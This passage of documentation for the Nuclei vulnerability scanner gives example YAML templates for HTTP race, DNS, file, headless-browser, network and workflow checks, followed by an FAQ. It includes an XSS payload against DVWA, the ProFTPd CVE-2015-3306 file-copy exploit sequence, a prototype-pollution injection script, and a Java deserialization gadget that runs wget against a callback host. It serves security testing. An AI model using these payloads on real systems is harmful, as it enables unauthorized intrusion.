    matchers:
      - type: status
        part: header
        status:
          - 200
```

RACE CONDITION TESTING WITH MULTIPLE REQUESTS.

This template makes the defined and multiple POST requests in RAW format with `threads` sets to `5`, `threads` can be utilized in race condition templates when multiple requests needs to be sent to exploit the race condition, `threads` number should be same as the number of you are making with template and not needed if you're only making single request.

```
id: race-condition-testing

info:
  name: Race condition testing with multiple requests
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=1

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=2

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=3

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=4

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=5

    threads: 5
    race: true

    matchers:
      - type: status
        status:
          - 200
```

3.2 DNS

Basic template

Basic DNS Request to detect if a CNAME record exists for an input.

```yaml
id: basic-dns-example

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          # The response must contain a CNAME record
          - "IN\tCNAME"
```

Multiple matcher

An example showcasing multiple matchers of nuclei, allowing detection of Subdomains with CNAME records that point to either `zendesk.com` or `github.io` .

```yaml
id: multiple-matcher

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 5
    matchers-condition: or
    matchers:
      - type: word
        name: zendesk
        words:
          - "zendesk.com"
      - type: word
        name: github
        words:
          - "github.io"
```

3.3 File

Basic File Template

This template checks for a pattern in provided files.

```yaml
id: ssh-public-key

info:
  name: SSH Public Key Detect
  author: pd-team
  severity: low

file:
  - extensions:
      - pub
    max-size: 1024 # read very small chunks

    matchers:
      - type: word
        words:
          - "ssh-rsa"
```

Extension Denylist with No-Recursive

The below template is same as last one, but it makes use of an extension denylist along with the no-recursive option.

```yaml
id: ssh-private-key

info:
  name: SSH Private Key Detect
  author: pd-team
  severity: high

file:
  - extensions:
      - all
    denylist:
      - pub
    no-recursive: true
    max-size: 1024 # read very small chunks

    matchers:
      - type: word
        words:
          - "BEGIN OPENSSH PRIVATE KEY"
          - "BEGIN PRIVATE KEY"
          - "BEGIN RSA PRIVATE KEY"
          - "BEGIN DSA PRIVATE KEY"
          - "BEGIN EC PRIVATE KEY"
          - "BEGIN PGP PRIVATE KEY BLOCK"
          - "ssh-rsa"
```

3.4 Headless

Basic Headless Navigation Example

This template visits a URL in the headless browser and waits for it to load.

```
id: basic-headless-request

info:
  name: Basic Headless Request
  author: pdteam
  severity: info

headless:
  - steps:
    - action: navigate
      args:
        url: "{{BaseURL}}"
    - action: waitload
```

Headless prototype pollution detection

The below template detects prototype pollution on pages with Nuclei headless capabilities. The code for detection is taken from https://github.com/msrkp/PPScan. We make use of script injection capabilities of nuclei to provide reliable detection for prototype pollution.

```
id: prototype-pollution-check

info:
  name: Prototype Pollution Check
  author: pd-team
  severity: medium
  reference: https://github.com/msrkp/PPScan

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: setheader
        args:
          part: response
          key: X-Frame-Options
          value: foo
      - action: setheader
        args:
          part: response
          key: If-None-Match
          value: foo
      # Set the hook to override window.data for xss detection
      - action: script
        args:
          hook: true
          code: |
            // Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
            (function() {window.alerts = [];

            function logger(found) {
                window.alerts.push(found);
            }

            function check() {
                loc = location.href;

                if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
                    setTimeout(function() {
                        if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
                            logger(location.href);
```

```
                          }
                          var url = new URL(location.origin + location.pathname);
                          url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
                          location = url.href;
                      }, 5 * 1000);
                  } else if (loc.search("a0def12bce") != -1) {
                      setTimeout(function() {
                          if (Object.prototype.a0def12bce == "ddcb362f1d60") {
                              logger(location.href);
                          }
                          window.close();
                      }, 5 * 1000);
                  } else {
                      var url = new URL(loc);
                      url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
                      url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
                      location = url.href;
                  }
              }

              window.onload = function() {
                  if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" ||  Object.prototype.a0def12bce == "ddcb362f1d60") {
                      logger(location.href);
                  } else {
                      check();
                  }
              };

              var timerID = setInterval(function() {
                  if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
                      logger(location.href);
                      clearInterval(timerID);
                  }
              }, 5 * 1000)})();
        - args:
            url: "{{BaseURL}}"
          action: navigate
        - action: waitload
        - action: script
          name: alerts
          args:
            code: "window.alerts"
      matchers:
        - type: word
          part: alerts
          words:
            - "__proto__"
      extractors:
        - type: kval
          part: alerts
          kval:
            - alerts
```

DVWA XSS Reproduction With Headless Mode

This template logs into DVWA (Damn Vulnerable Web App) and tries to automatically reproduce a Reflected XSS, returning a match if it found that the payload was executed successfully.

```
id: dvwa-xss-verification

info:
  name: DVWA Reflected XSS Verification
  author: pd-team
  severity: info

headless:
  - steps:
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload

      # Set the hook to override window.data for xss detection
      - action: script
        args:
          hook: true
          code: "(function() { window.alert = function() { window.data = 'found' } })()"
```

```yaml
      - args:
          by: x
          value: admin
          xpath: /html/body/div/div[2]/form/fieldset/input
        action: text
      - args:
          by: x
          value: password
          xpath: /html/body/div/div[2]/form/fieldset/input[2]
        action: text
      - args:
          by: x
          xpath: /html/body/div/div[2]/form/fieldset/p/input
        action: click
      - action: waitload
      - args:
          by: x
          xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
        action: click
      - action: waitload
      - args:
          by: x
          value: '"><svg/onload=alert(1)>'
          xpath: /html/body/div/div[3]/div/div/form/p/input
        action: text
      - args:
          keys: "\r" # Press the enter key on the keyboard
        action: keyboard
      - action: waitload
      - action: script
        name: alert
        args:
          code: "window.data"
    matchers:
      - part: alert
        type: word
        words:
          - "found"
```

DOM XSS Detection

This template performs detection of DOM-XSS for `window.name` source by hooking common sinks such as `eval`, `innerHTML` and `document.write`.

```yaml
id: window-name-domxss

info:
  name: window.name DOM XSS
  author: pd-team
  severity: medium

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: script
        args:
          hook: true
          code: |
            (function() {window.alerts = [];

            function logger(found) {
                window.alerts.push(found);
            }

            function getStackTrace () {
              var stack;
              try {
                throw new Error('');
              }
              catch (error) {
                stack = error.stack || '';
              }
              stack = stack.split('\n').map(function (line) { return line.trim(); });
              return stack.splice(stack[0] == 'Error' ? 2 : 1);
            }
            window.name = "{{randstr_1}}'\"<>";

            var oldEval = eval;
            var oldDocumentWrite = document.write;
            var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
            Object.defineProperty(Element.prototype, 'innerHTML', {
              set: function innerHTML_Setter(val) {
                if (val.includes("{{randstr_1}}'\"<>")) {
                  logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
                }
                return setter.call(this, val)
              }
            });
            eval = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            document.write = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            })();
        - args:
            url: "{{BaseURL}}"
          action: navigate
        - action: waitload
        - action: script
          name: alerts
          args:
            code: "window.alerts"
      matchers:
        - type: word
          part: alerts
          words:
            - "sink:"
      extractors:
        - type: kval
          part: alerts
          kval:
            - alerts
```

3.5 Network

Basic Network Request

This template connects to a network service, sends some data and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`.

```yaml
id: basic-network-request

info:
  name: Basic Network Request
  author: pdteam
  severity: info

network:
  - host:
      - "{{Hostname}}"
    inputs:
      - data: "PING\r\n"
    read-size: 4
    matchers:
      - type: word
        part: data
        words:
          - "PONG"
```

TLS Network Request

Similar to the above template, but the connection to the service is done with TLS enabled.

```yaml
id: basic-tls-network-request

info:
  name: Basic TLS Network Request
  author: pdteam
  severity: info

network:
  - host:
      - "tls://{{Hostname}}"
    inputs:
      - data: "PING\r\n"
    read-size: 4
    matchers:
      - type: word
        part: data
        words:
          - "PONG"
```

Hex Input Request

This template connects to a network service, sends some data encoded in hexadecimal to the server and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`. The match words here are encoded in Hexadecimal, using `encoding: hex` option of matchers.

```yaml
id: hex-network-request

info:
  name: Hex Input Network Request
  author: pdteam
  severity: info

network:
  - host:
      - "{{Hostname}}"
    inputs:
      - data: "50494e47"
        type: hex
      - data: "\r\n"

    read-size: 4
    matchers:
      - type: word
        part: data
        encoding: hex
        words:
          - "504f4e47"
```

Input Expressions

Inputs specified in network also support DSL Helper Expressions, so you can create your own complex inputs using variety of nuclei helper functions. The below template is an example of using `hex_decode` function to send decoded input over wire.

```yaml
id: input-expressions-mongodb-detect

info:
  name: Input Expression MongoDB Detection
  author: pd-team
  severity: info
  reference: https://github.com/orleven/Tentacle

network:
  - inputs:
      - data:
"{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d617374657200010000000000')}}"
    host:
      - "{{Hostname}}"
    read-size: 2048
    matchers:
      - type: word
        words:
          - "logicalSessionTimeout"
          - "localTime"
```

Multi-Step Requests

This last example is an RCE in proFTPd which, if vulnerable, allows placing arbitrary files in any directory on the server. The detection process involves a random string on each nuclei run using `{{randstr}}`, and sending multiple lines of FTP input to the vulnerable server. At the end, a successful match is detected with the presence of `Copy successful` in the response.

```yaml
id: CVE-2015-3306

info:
  name: ProFTPd RCE
  author: pd-team
  severity: high
  reference: https://github.com/t0kx/exploit-CVE-2015-3306
  tags: cve,cve2015,ftp,rce

network:
  - inputs:
      - data: "site cpfr /proc/self/cmdline\r\n"
        read: 1024
      - data: "site cpto /tmp/.{{randstr}}\r\n"
        read: 1024
      - data: "site cpfr /tmp/.{{randstr}}\r\n"
        read: 1024
      - data: "site cpto /var/www/html/{{randstr}}\r\n"
    host:
      - "{{Hostname}}"
    read-size: 1024
    matchers:
      - type: word
```

```
        words:
          - "Copy successful"
```

3.6 Workflow

Generic workflows

A generic workflow that runs two templates, one to detect Jira and another to detect Confluence.

```yaml
id: workflow-example
info:
  name: Test Workflow Template
  author: pdteam

workflows:
  - template: technologies/jira-detect.yaml
  - template: technologies/confluence-detect.yaml
```

Basic conditional workflows

A condition based workflow, which first tries to detect if springboot is running on a target. If springboot is found, a list of exploits executed against it.

```yaml
id: springboot-workflow

info:
  name: Springboot Security Checks
  author: dwisiswant0

workflows:
  - template: security-misconfiguration/springboot-detect.yaml
    subtemplates:
      - template: cves/CVE-2018-1271.yaml
      - template: cves/CVE-2018-1271.yaml
      - template: cves/CVE-2020-5410.yaml
      - template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
      - template: vulnerabilities/springboot-h2-db-rce.yaml
```

Multi condition workflows

This template demonstrates nested workflows with nuclei, where there's multiple levels of chaining of templates.

```yaml
id: springboot-workflow

info:
  name: Springboot Security Checks
  author: dwisiswant0

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: lotus-domino
        subtemplates:
          - template: technologies/lotus-domino-version.yaml
            subtemplates:
              - template: cves/xx-yy-zz.yaml
                subtemplates:
                  - template: cves/xx-xx-xx.yaml
```

Conditional workflows with matcher

This template detects if WordPress is running on an input host, and if found a set of targeted exploits and CVEs are executed against it.

```yaml
id: workflow-example
info:
  name: Test Workflow Template
  author: pdteam

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: wordpress
        subtemplates:
          - template: cves/CVE-2019-6715.yaml
          - template: cves/CVE-2019-9978.yaml
          - template: files/wordpress-db-backup.yaml
          - template: files/wordpress-debug-log.yaml
          - template: files/wordpress-directory-listing.yaml
          - template: files/wordpress-emergency-script.yaml
          - template: files/wordpress-installer-log.yaml
          - template: files/wordpress-tmm-db-migrate.yaml
          - template: files/wordpress-user-enumeration.yaml
          - template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
          - template: vulnerabilities/sassy-social-share.yaml
          - template: vulnerabilities/w3c-total-cache-ssrf.yaml
          - template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
          - template: vulnerabilities/wordpress-social-metrics-tracker.yaml
          - template: vulnerabilities/wordpress-wordfence-xss.yaml
          - template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
```

Multiple Matcher workflow

Very similar to the last example, with multiple matcher names.

```yaml
id: workflow-multiple-matcher
info:
  name: Test Workflow Template
  author: pdteam

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: vbulletin
        subtemplates:
          - tags: vbulletin

      - name: jboss
        subtemplates:
          - tags: jboss
```

3.7 Helpers

Helper Functions Examples

Nuclei has a number of helper functions that may be used to conduct various run-time operations on the request block. Here's an example template that shows how to use all the available helper functions.

```yaml
id: helper-functions-examples

info:
  name: RAW Template with Helper Functions
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        1: {{base64("Hello")}}
        2: {{base64(1234)}}
        3: {{base64_decode("SGVsbG8=")}}
        4: {{base64_py("Hello")}}
        5: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
        6: {{concat("Hello", "world")}}
        7: {{contains("Hello", "lo")}}
        8: {{contains_all("Hello everyone", "lo", "every")}}
        9: {{contains_any("Hello everyone", "abc", "llo")}}
        10: {{date_time("%Y-%M-%D")}}
        11: {{date_time("%Y-%M-%D", unix_time())}}
        12: {{date_time("%H-%m")}}
        13: {{date_time("02-01-2006 15:04")}}
        14: {{date_time("02-01-2006 15:04", unix_time())}}
        15: {{dec_to_hex(11111)}}
        16: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
        17: {{gzip("Hello")}}
        18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
        19: {{hex_decode("6161")}}
        20: {{hex_encode("aa")}}
        21: {{hmac("sha1", "test", "scrt")}}
        22: {{hmac("sha256", "test", "scrt")}}
        23: {{html_escape("<body>test</body>")}}
        24: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
        25: {{join("_", "hello", "world")}}
        26: {{len("Hello")}}
        27: {{len(5555)}}
        28: {{md5("Hello")}}
        29: {{md5(1234)}}
        30: {{mmh3("Hello")}}
        31: {{print_debug(1+2, "Hello")}}
        32: {{rand_base(5, "abc")}}
        33: {{rand_base(5, "")}}
        34: {{rand_base(5)}}
        35: {{rand_char("abc")}}
        36: {{rand_char("")}}
        37: {{rand_char()}}
        38: {{rand_int(1, 10)}}
        39: {{rand_int(10)}}
        40: {{rand_int()}}
        41: {{rand_ip("192.168.0.0/24")}}
        42: {{rand_ip("2002:c0a8::/24")}}
        43: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
        44: {{rand_text_alpha(10, "abc")}}
        45: {{rand_text_alpha(10, "")}}
        46: {{rand_text_alpha(10)}}
        47: {{rand_text_alphanumeric(10, "ab12")}}
        48: {{rand_text_alphanumeric(10)}}
        49: {{rand_text_numeric(10, 123)}}
        50: {{rand_text_numeric(10)}}
        51: {{regex("H([a-z]+)o", "Hello")}}
        52: {{remove_bad_chars("abcd", "bc")}}
        53: {{repeat("a", 5)}}
        54: {{replace("Hello", "He", "Ha")}}
        55: {{replace_regex("He123llo", "(\\d+)", "")}}
        56: {{reverse("abc")}}
        57: {{sha1("Hello")}}
        58: {{sha256("Hello")}}
        59: {{to_lower("HELLO")}}
        60: {{to_upper("hello")}}
        61: {{trim("aaaHelloddd", "ad")}}
        62: {{trim_left("aaaHelloddd", "ad")}}
        63: {{trim_prefix("aaHelloaa", "aa")}}
        64: {{trim_right("aaaHelloddd", "ad")}}
        65: {{trim_space("  Hello  ")}}
        66: {{trim_suffix("aaHelloaa", "aa")}}
        67: {{unix_time(10)}}
        68: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
        69: {{url_encode("https://projectdiscovery.io/test?a=1")}}
        70: {{wait_for(1)}}
        71: {{zlib("Hello")}}
        72: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
        73: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
        74: {{starts_with("Hello", "He")}}
        75: {{ends_with("Hello", "lo")}}
        76: {{line_starts_with("Hi\nHello", "He")}}
        77: {{line_ends_with("Hello\nHi", "lo")}}
        78: {{ip_format("169.254.169.254", 4)}}
```

4. FAQ

4.1 Nuclei FAQ

What is nuclei?

Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.

It has two components, 1) Nuclei engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei templates - ready-to-use **community-contributed** vulnerability templates.

What was the genesis behind nuclei?

Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.

We wanted something simple enough to be used by **everyone** while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.

What modules does nuclei engine support?

Nuclei engine supports the following type of modules.

- HTTP
- DNS
- TCP
- FILE

What kind of scans can I perform with nuclei?

Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.

How well-maintained is this project?

The nuclei project is actively developed and maintained by the ProjectDiscovery team, and generally releases every 2 weeks.

How can I support/contribute to this project?

To help keep project momentum, we request everyone to write and share new templates with the community in the template project. Please help us maintain this public, ready to use, and up-to-date nuclei template repository.

If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the ProjectDiscovery blog.

I found results with nuclei. When should I report it?

Wait a minute -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.

How do I validate nuclei results?

Once nuclei finds a result, and you have vulnerable target and template, rerun the template with `-debug` flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.

How much traffic does nuclei generate?

By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [template releases, with more added daily.

As default, few templates listed here are excluded from default scans.

Is it safe to run nuclei?

We consider two factors to say "safe" in context of nuclei -

1. The **traffic** nuclei makes against the target website.
2. The **impact** templates have on the target website.

HTTP Traffic

Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.

Safe Templates

The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see the list here). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.

What is nuclei's license?

Nuclei is an open-source project distributed under the MIT License.

I have more questions!

Please join our Discord server, or contact us via Twitter.

Missing dependencies in headless mode on Linux

Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary. Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions. Ubuntu

With snap:

```
sudo snap install chromium
```

Without snap:

```
sudo apt update
sudo snap refresh
sudo apt install zip curl wget git
sudo snap install golang --classic
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt update
sudo apt install google-chrome-stable
```

In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:

```
sudo apt-get install libnss3 libgconf-2-4
```

If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:

```
sudo apt-get install libnss3-dev
```

Error type examples:

```
Error:          Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?
id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file
or directory\n"}
```

```
could not create browser
```

```
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
Please install it with:
snap install chromium
```

4.2 Templates FAQ

What are nuclei templates?

Nuclei templates are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **community-contributed** vulnerability templates.

How can I write nuclei templates?

We maintain a documentation guide for writing new and custom nuclei templates. We also have sample templates for various modules nuclei supports.

Is writing nuclei templates useful?

Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning you write the template once and use it forever, as you don't need to manually test that specific vulnerability any longer.

Here are few examples from the community making use of templates to automate the security findings.

Reference

- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/

How do I run nuclei templates?

Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.

```
nuclei -tags cve -list target_urls.txt
```

I want to contribute nuclei templates! 😁

You are always welcome to share your nuclei templates with the community. You can either open a GitHub issue with the template details or open a GitHub pull request with your nuclei templates. If you don't have a GitHub account, you can also make use of the discord server to share the template with us.

I'm getting false-positive results!

The nuclei template project is a **community-contributed project**. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. **Templates are only as good as their matchers.**

If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.

I found a template producing false positive or negative results, but I'm not sure if this is accurate.

Direct message us on Twitter or Discord to confirm the validity of the template.

I found a template producing false positive or negative result and I don't know how to fix it.

Please open a GitHub issue with details, and we will work to address the problem and update the template.

I found a template producing a false positive or negative result and I know how to fix it.

Please open a GitHub pull request with fix.

I'm not able to run all templates!

The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see the list here). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.

Templates exist on GitHub but are not running with nuclei?

When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the master branch and are added to nuclei when a new template release is created.